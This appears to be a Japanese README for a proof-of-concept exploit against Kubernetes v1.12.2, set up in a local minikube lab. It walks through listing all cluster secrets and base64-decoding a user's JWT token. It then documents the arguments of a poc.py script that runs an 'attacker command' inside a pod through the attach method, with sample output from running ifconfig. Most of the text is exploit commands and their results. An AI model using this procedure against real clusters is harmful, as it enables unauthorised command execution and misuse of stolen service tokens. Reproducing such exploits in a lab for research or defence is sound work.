
メンバー: Abhishek Rungta, Shubham Saini, Siddhant Sood
仮想ボックスイメージ(.ovaファイル)を用意しました。 それをダウンロードして、VMを作成してください。 提供されているOVAは、docker v18.09とminikube v1.9.0が事前設定されています。
仮想イメージにはminkubeと必要なKubernetesバージョンがすでに含まれているため、次のコマンドを実行してminikubeを起動してください。
minikube start --kubernetes-version=v1.12.2
次のコマンドを使用して、新しいユーザーとネームスペースを作成し、作成したユーザーにRBACロールを割り当てます。
kubectl apply -f fixing_policy.yml
kubectl edit configmaps kube-proxy --namespace=kube-system
maxPerCoreを0に設定変更してください。
まず、システムに保存されているすべてのJWTトークンを取得するために、次のコマンドを実行します。
kubectl get secrets -A
作成した特定のユーザーのシークレットを取得するには、次のコマンドを実行します:
kubectl -n [namespace] get secrets [user-token] -o json
次に、それをbase64デコードします。
export TOKEN=$(echo TOKEN | base64 -d)
echo $TOKEN
kubectl cluster-info
kubectl run --image=nginx:alpine securenginx -n poc
必要な引数をすべて指定してください:
-t for the target> ip:port (required)
-j ユーザーのJWTトークン(必須)
-p ポッド(必須)
-n ネームスペース
-m メソッド(必須)
-c コンテナ
-x 攻撃者コマンド
入力
./poc.py -t [IP:Port] -j [token] -p [pod] -n [namespace] -m attach -x "command"
./poc.py -t 127.0.0.1:32768 -j $TOKEN -p securenginx -m attach -n poc -x "ifconfig eth0"
出力
eth0 Link encap:Ethernet HWaddr 02:42:AC:11:00:02
inet addr:172.17.0.2 Bcast:172.17.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1313 errors:0 dropped:0 overruns:0 frame:0
TX packets:1224 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:217603 (212.5 KiB) TX bytes:428778 (418.7 KiB)
{"metadata":{},"status":"Success"}
デモビデオ リンク